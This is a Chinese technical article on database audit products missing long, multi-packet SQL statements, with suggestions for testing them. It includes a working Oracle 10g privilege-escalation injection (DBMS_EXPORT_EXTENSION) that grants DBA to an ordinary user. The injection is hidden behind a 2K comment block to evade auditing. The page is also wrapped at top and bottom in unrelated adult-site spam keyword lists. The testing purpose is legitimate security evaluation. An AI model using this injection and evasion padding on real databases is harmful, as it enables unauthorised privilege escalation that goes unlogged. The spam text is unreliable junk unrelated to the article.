欧美精品一区二区,体育生GAY白袜调教VIDEO,私人影院播放器,色偷偷AV老熟女色欲涩爱

?
內(nèi)容中心
按關(guān)鍵字查找
數(shù)據(jù)庫審計產(chǎn)品常見缺陷之(二)長SQL語句漏審
作者:劉曉韜 發(fā)布時間:2016-08-16

大多數(shù)的SQL語句都在1K以里長度,市面上的數(shù)據(jù)庫審計產(chǎn)品大多都能準確記錄下,也能實現(xiàn)正常的解析;但在SQL語句超過1.5K時,很多的數(shù)據(jù)庫審計產(chǎn)品就會發(fā)生漏審,或者只能審計下部分SQL語句。

一般Oracle一個通訊包的長度在2K,單一包內(nèi)能夠容納的語句長度大約在1.4K多一點(大約為1460);超過這個大小的SQL語句一般會拆分成多包;在Oracle 11g下通常通訊包為2K,最大可以達到8K;對于Oracle數(shù)據(jù)庫沒有明確說明可兼容的SQL語句的長度,有的說32K或64K是個臨界點,但筆者也曾作過嘗試2M做的SQL語句也能發(fā)送并被Oracle正常解析。

對于一些數(shù)據(jù)庫審計產(chǎn)品,由于沒有將多個SQL通訊包進行有效解析和關(guān)聯(lián),在發(fā)生長SQL語句時會發(fā)生無法解析或解析不全的情況;具體表現(xiàn)是,對于長SQL語句并未記錄,或僅記錄了前半部分。

這種情況的危害是,對于有些業(yè)務系統(tǒng)中自身就包含長SQL語句,比如經(jīng)分系統(tǒng),報表系統(tǒng),這些SQL語句會被漏記;同時,一些黑客或攻擊人員會利用這樣的一些漏洞,進行數(shù)據(jù)庫攻擊而不留下痕跡。比如,若某個數(shù)據(jù)庫審計產(chǎn)品,是基于單包解析機制進行的,則對于超過1.5K的SQL語句無法記錄或僅記錄了前1.5K,則攻擊者可以首先加入1.5K長的注釋,然后再寫語句,這樣會發(fā)生漏審或被審計下來的信息無效。

以下是來自于某個真實應用的SQL語句,達到1.9K;若是讀者有相關(guān)的數(shù)據(jù)庫審計產(chǎn)品,可以用Toad或PL/SQL這樣的工具進行發(fā)送,觀測下所擁有的產(chǎn)品是否能夠?qū)徲嬒聛?,審計記錄是否完全?/p>

select spname,bm,sum(num) as heji,sum(case when fddm='002' then num else 0 end) as shipai,sum(case when fddm='063' then num else 0 end) as songbo,sum(case when fddm='005' then num else 0 end) as duobao,sum(case when fddm='006' then num else 0 end) as guangwei,sum(case when fddm='007' then num else 0 end) as jianshe,sum(case when fddm='008' then num else 0 end) as donghua,sum(case when fddm='039' then num else 0 end) as tongdong,sum(case when fddm='010' then num else 0 end) as jiebei,sum(case when fddm='011' then num else 0 end) as sanyuanli,sum(case when fddm='012' then num else 0 end) as nantai,sum(case when fddm='013' then num else 0 end) as huanshi,sum(case when fddm='014' then num else 0 end) as zhanqian,sum(case when fddm='015' then num else 0 end) as lujiang,sum(case when fddm='016' then num else 0 end) as dongchuan,sum(case when fddm='017' then num else 0 end) as taisha,sum(case when fddm='018' then num else 0 end) as huifuxi,sum(case when fddm='019' then num else 0 end) as zhujiang,sum(case when fddm='041' then num else 0 end) as donghu,sum(case when fddm='021' then num else 0 end) as wenming,sum(case when fddm='062' then num else 0 end) as huifu2,sum(case when fddm='042' then num else 0 end) as shiji,sum(case when fddm='043' then num else 0 end) as xincheng,sum(case when fddm='045' then num else 0 end) as gaoqiao,sum(case when fddm='046' then num else 0 end) as shixi,sum(case when fddm='047' then num else 0 end) as nanzhou,sum(case when fddm='048' then num else 0 end) as sanyuanlidadao,sum(case when fddm='050' then num else 0 end) as jingxi,sum(case when fddm='051' then num else 0 end) as chigang,sum(case when fddm='052' then num else 0 end) as panfu,sum(case when fddm='053' then num else 0 end) as jichangxi,sum(case when fddm='054' then num else 0 end) as shengdi,sum(case when fddm='055' then num else 0 end) as wendenan,sum(case when fddm='056' then num else 0 end) as ronghuanan from sale3 where khname in ('$khbmem') group by bm;

以下是另一個模擬的攻擊性的SQL語句,這個語句在Oracle 10g上運行,將把一個普通的數(shù)據(jù)庫用戶提權(quán)到DBA;但我們在對這個語句發(fā)送前,在前面用2K的注釋進行掩護,請筆者觀測下所擁有的產(chǎn)品能否將這個語句審計下來,審計結(jié)果是否完善。

/*************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

*************************************************************************/

select

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR',

'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' grant dba to NormalUser'''';END;'';END;--','SYS‘,0,'1',0)  from dual;

在實驗時,請讀者別忘了將NormalUser改為實際的用戶名,則運行通過后將實現(xiàn)提權(quán)。

SQL Server的通訊包一般在4K,超過 4088個字符的SQL語句將被拆分;SQL Server支持的連續(xù)SQL通訊可達到256M,而對于SQL語句的長度沒有明確限制(據(jù)網(wǎng)上的測試數(shù)據(jù),應該超過228K)。

MySQL的通訊包默認在1M,在單個包的內(nèi)的語句可以被執(zhí)行,MySQL不支持將SQL語句拆分到多個包中。

讀者可以自行構(gòu)造一些針對SQL Server、MySQL的SQL語句進行嘗試,看我們所擁有的數(shù)據(jù)庫審計產(chǎn)品是否能進行準確的審計記錄。要注意的是,類似于Toad、PL/SQL這樣的客戶端工具通常都有SQL語句的長度限制,但這往往不是數(shù)據(jù)庫的SQL長度限制。

傳統(tǒng)的基于網(wǎng)絡審計發(fā)展而來的數(shù)據(jù)庫審計產(chǎn)品一般都沒有實現(xiàn)跨包的SQL語句拼接,這些產(chǎn)品在測試或一般性的應用環(huán)境都不易暴漏出問題,但對于一些復雜的經(jīng)營分析系統(tǒng),基于自動SQL語句拼接編程的OA系統(tǒng)等,將會發(fā)生漏審的狀況。通常在發(fā)生漏審時,用戶大多得到的解釋都是歸結(jié)于網(wǎng)絡流量鏡像的不穩(wěn)定,可能造成了通訊包丟失。

從數(shù)據(jù)庫審計產(chǎn)品開發(fā)的角度,不可能對SQL語句的長度不限長地記錄,關(guān)鍵是要看相關(guān)產(chǎn)品指標是否滿足所應用的業(yè)務環(huán)境需求,以及能否有效過濾掉攻擊性語句的掩護性字符。


?
欧美另类熟妇xxxx久久a片| 欧洲美女与动交zoz0z| 日本XXXX高清色视频在线播放| 护士张开腿被奷日出白浆| 大学生第一次破女处a片| 99精品免费久久久久久久久日本 | 欧美乱码一二三四区| 麻花豆传媒剧国产mv的特点| 成人网站在线观看| 国产精品久久久久久亚洲毛片 | 欧美人与兽| 欧美xxxxx高潮喷水麻豆| 张柏芝跪下吃j8图片| 欧美精品在线观看| 国产传媒18精品免费观看 | 性视频免在线观看视频| 久久九九久精品国产免费直播| 免费a级毛片无码| 精品久久久久成人码免费动漫| 中文字幕乱码中文乱码| 99久久夜色精品国产亚洲AV卜| 97人妻人人揉人人躁人人| 99er热精品视频国产免费| 娇妻系列交换(纯肉高h)| 成人毛片18女人毛片免费看视频 | 琪琪婷婷五月色综合久久| 亚洲尺码与欧洲尺码区别入口跳转| 日本人是sb吗| 蜜桃成人无码av在线观看一电影| chinese性老妇老女人| 无码任你躁久久久久久老妇| 无套和妇女做内谢| 久久偷看各类WC女厕嘘嘘偷窃| 朝鲜女人free性hd| 校花张开腿疯狂娇吟k视频| 国产精品女a片爽视频爽| 日本美女图片| 人妻~夫の上司犯感との| 国产精品一区二区毛卡片| 你的奶好大让老子摸摸的说说| 刺激的至亲乱45部|